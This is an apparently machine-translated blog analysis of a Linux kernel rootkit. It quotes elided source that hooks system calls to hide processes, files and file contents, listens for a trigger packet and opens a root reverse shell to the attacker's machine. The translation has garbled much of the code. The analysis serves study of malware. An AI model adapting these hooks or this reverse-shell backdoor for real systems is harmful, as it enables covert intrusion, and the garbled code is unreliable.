From: http://blog.csdn.net/dog250/archive/2010/02/09/5303687.aspx
First, this rootkit is actually a kernel Trojan. Unlike most Trojans, the machine where the malicious trojan is located is a client rather than a server, and the machine where the hacker is located is a server, the advantage of this solution is that it can avoid firewalls. Generally, firewalls do not strictly review outgoing packets but access packets. If malicious programs are servers, the firewall may block the hacker client processes that are connected to the server, leading to attacks. The current situation is that the hacker is located on the server, and he first sends the summon package to the client, after the client receives the call packet, it will connect to the server. The firewall will not intercept this link, otherwise the machines inside the firewall will be greatly restricted. Another idea of this rootkit is to use a virtual terminal instead of a normal shell, which can effectively avoid logon records, in Linux, As long as utmp and wtmp are responsible for user login records, the WHO command reads the utmp file and lists the information. However, even though it is mentioned in the official utmp documentation, it does not record all user logins. The key is whether the logon Program actively records the logs. With this idea, it is difficult for the administrator of the machine where the malicious program is located to find this kernel Trojan, it is hard for them to notice that their machines are under control. Once this is done, it is equivalent to doing everything. Administrators cannot notice that they will not take any measures, attackers will naturally be able to get away with the law for a long time.
This rootkit mainly uses the replacement system call method to implement attacks. The purpose of replacing the system call is to hide the process and so on. Although this method is not so seamless, at the very least, it can also make readers learn some assembly knowledge. If you really think this method is too good, please read the following article, the adore method should be close to your expectation. Let's take a look at this code. It can be downloaded from many sites. This article is just a simple analysis:
Int init_module (void) // module initialization Function
{
...
Lanzar_shell = 0; // The global variable indicates whether to start a shell.
Atomic_set (& read_activo, 0 );
Global_ip = 0 xffffffff;
... // Obtain the address of the System Call entry in multiple ways
Orig_kill = sys_call_table [_ nr_kill];
Orig_getdents64 = sys_call_table [_ nr_getdents64];
Orig_getdents = sys_call_table [_ nr_getdents];
// Set the hook, that is, replace
Set_idt_handler (s_call );
Set_sysenter_handler (sysenter_entry );
// Install the webshell
My_pkt.type = htons (eth_p_all );
My_pkt.func = capturar;
Dev_add_pack (& my_pkt );
Return (0 );
}
Void cleanup_module (void) // omitted
The Network startup backdoor is installed at the end of the module initialization process. This is easy to understand. Hackers generally operate remote machines through the network, in this case, the remote machine must have a program similar to a spyware. This is the eth_p_all protocol processing program. As long as the eth_p_all protocol processing program is registered, all incoming packets will be checked and processed, in fact, this is an underlying mechanism of the Linux network protocol stack. After the network adapter receives data, in order to determine how to handle the above link layer, the processing logic will traverse all registered protocol handlers, the protocol type can be obtained in SKB. In fact, it is used to parse the format of the data frame to find the protocol at the fixed offset. eth_p_all is special, all registered processing entities of the eth_p_all protocol type will be connected to a linked list. The kernel processing logic will traverse the linked list and then let each eth_p_all Protocol process the entity to process the received data packets, after traversing all eth_p_all to process the object, the kernel then delivers the data packet to the real protocol processing entity of this SKB. In fact, Eth _ The protocol processing entity of the p_all type is a bypass processing logic, which should be carried out in any case. In the rootkit, The eth_p_all type protocol processing entity detects the call of remote hackers, in this way, the lanzar_shell is set to 1. If any part of the kernel detects that lanzar_shell is 1, the connection process starts to connect to the hacker client. In fact, the connection process is a kernel process, is the kernel process poor? Of course, the power is infinite. Next, the above module initialization said that in set_idt_handler, it is mainly to replace the system call handler to implement the malicious program's own control logic. It replaces the original processing logic with new_idt, let's take a look at new_idt:
Void new_idt (void)
{
Asmidtype // This is nothing to say, that is, it simply changes the original sys_call processing and jumps to the hook for further judgment and trade-offs.
(
"CMP % 0, % eax/N"
"Jae syscallmala/N"
"JMP hook/N"
"Syscallmala:/N"
"JMP dire_exit/N"
: "I" (nr_syscils)
);
}
Void hook (void)
{
Register int eax ASM ("eax ");
Switch (eax)
{
Case _ nr_kill: // The objective is to prevent the process from being killed. The PID of the process to be killed is stored in a global variable and determined in hacked_kill. If yes, the system returns the result directly.
Callhookedsyscall (hacked_kill); // if you call kill, skip to our kill.
Break;
Case _ nr_getdents: // The purpose is to hide a file. When enumerating files in this directory, if the file name contains hidden features, the offset and size will be updated at the same time.
Callhookedsyscall (hacked_getdents );
Break;
Case _ nr_getdents64: // same as above
Callhookedsyscall (hacked_getdents64 );
Break;
Case _ nr_read: // The purpose is to hide specific content in the file. The following is an analysis:
Callhookedsyscall (hacked_read );
Break;
Default:
Jmpushret (dire_call); // other pass-through
Break;
}
Jmpushret (after_call );
}
Each protocol type registers a processing entity, such as IP, PPP, can, or other private protocols. Generally, these are Protocols Above the link layer. A special protocol should not be called a protocol, it is eth_p_all. This protocol is mainly used for bypassing data. All data packets passing through the interfaces registered by eth_p_all must be processed by it. capturar is one of the implementations:
Int capturar (struct sk_buff * SKB, struct net_device * Dev, struct packet_type * Pkt, struct net_device * dev2)
{
Unsigned short Len;
Char Buf [256], * P;
Int I;
Struct iphdr * IPH = (struct iphdr *) SKB-> network_header;
Switch (IPH-> Protocol)
{
Case 1:
If (SKB-> pkt_type! = Packet_host)
... // If it is not a volume package, it will not be processed. It is clear that the volume package is required.
... // The final analysis is to set lanzar_shell to 1 when the Trojan server calls to start the shell.
}
}
In any part of the kernel, As long as lanzar_shell is detected to be 1, it is necessary to start the reverse_shell in the context of a new process. Where can this problem be determined? Just in the system calls we have intercepted, such as read, while understanding how to start a new kernel connection thread, we also briefly explain the execution logic of the hacked read system calls:
Asmlinkage ssize_t hacked_read (int fd, void * Buf, size_t nbytes)
{
Struct file * fichero;
Int fput_needed;
Ssize_t ret;
If (lanzar_shell = 1) // execute the kernel thread connecting to the server as appropriate
{
Lanzar_shell = 0;
If (! Fork () // do this in the child process
Reverse_shell ();
}
...
Fichero = e_fget_light (FD, & fput_needed );
If (fichero)
{
Ret = vfs_read (fichero, Buf, nbytes, & fichero-> f_pos );
Switch (checkear (BUF, RET, fichero) // checkear is actually a string parsing. The previous vfs_read has obtained the read string, this function parses whether there are strings we need to hide. If so, 1 is returned. If not,-1 is returned.
{
Case 1:
Ret = hide_marcas (BUF, RET); // since the data has been copied to the user space in vfs_read, this function is actually to hide the string that has been copied to the user space and we need to shield it. The final task is to cut off the string to be hidden, and change the length, offset, and other information at the same time.
Break;
Case-1: // If the string to be hidden is not found, do nothing and execute the final exit
Break;
...
}
Int reverse_shell (void)
{
Struct task_struct * PTR = current;
Struct sockaddr_in dire;
Mm_segment_t old_fs;
Unsigned long Arg [3];
Int SOC, tmp_pid, I;
Unsigned char TMP;
Fd_set s_read;
Old_fs = get_fs ();
PTR-> uid = 0; // root permission
PTR-> EUID = 0;
PTR-> gid = SGID;
PTR-> EGID = 0;
Arg [0] = af_inet; // you can specify the socket creation parameter.
...
Set_fs (kernel_ds); // sets the upper limit of security parameters.
Ssetmask (~ 0 );
For (I = 0; I <4096; I ++)
Close (I );
If (SOC = socketcall (sys_socket, ARG) =-1) // create a socket
... // Handle the error. If no error occurs
Memset (void *) & dire, 0, sizeof (dire ));
// The global_port and global_ip of dire are assigned a value in the capturar callback function.
Dire. sin_family = af_inet;
Dire. sin_port = htons (unsigned short) global_port );
Dire. sin_addr.s_addr = (unsigned long) global_ip;
Arg [0] = SOC; // set the connection parameters for the three lines of code.
Arg [1] = (unsigned long) & dire;
Arg [2] = (unsigned long) sizeof (dire );
If (socketcall (sys_connect, ARG) =-1) // connect to the server
... // Handle errors. Let's assume there is no error.
Epty = get_pty (); // obtain a virtual terminal and return a descriptor. The returned descriptor is used by the sub-process, while the other is used by this process, as a sub-process Descriptor and socket proxy
Set_fs (old_fs );
If (! (Tmp_pid = fork () // start a shell in the sub-process. See the following function.
Ejecutar_shell ();
Set_fs (kernel_ds );
While (1) // infinite loop to communicate with the hacker's server
{
... // Select opened virtual terminal and Socket
... // If the virtual terminal is readable, write the read data to the socket
... // If the socket is readable, write the unique data to the virtual terminal
}/* Fin while */
... // End, close
}
Void ejecutar_shell (void)
{
Struct task_struct * PTR = current;
Mm_segment_t old_fs;
Old_fs = get_fs ();
Set_fs (kernel_ds );
PTR-> uid = 0; // This is the purpose, root permission
PTR-> EUID = 0;
PTR-> gid = SGID;
PTR-> EGID = 0;
Dup2 (epty, 0); // redirect standard input/output
Dup2 (epty, 1 );
Dup2 (epty, 2 );
... // Execve after insignificant settings
Execve (earg [0], (const char **) earg, (const char **) ENV );
}
The above is the general implementation logic of the kernel trojan or rootkit. The method used is very earthy, but the general method of hacker in the operating system is used. The implementation of this rootkit is very clear, it is clear that, if you try to compile it, you will get a shell with root user permissions on the remote machine. In any case, this rootkit can only be used for learning. before today's powerful anti-Black software, it is easy to detect, so the following rootkit will be hard to detect, it is not a deterministic thing, but an uncertain thing.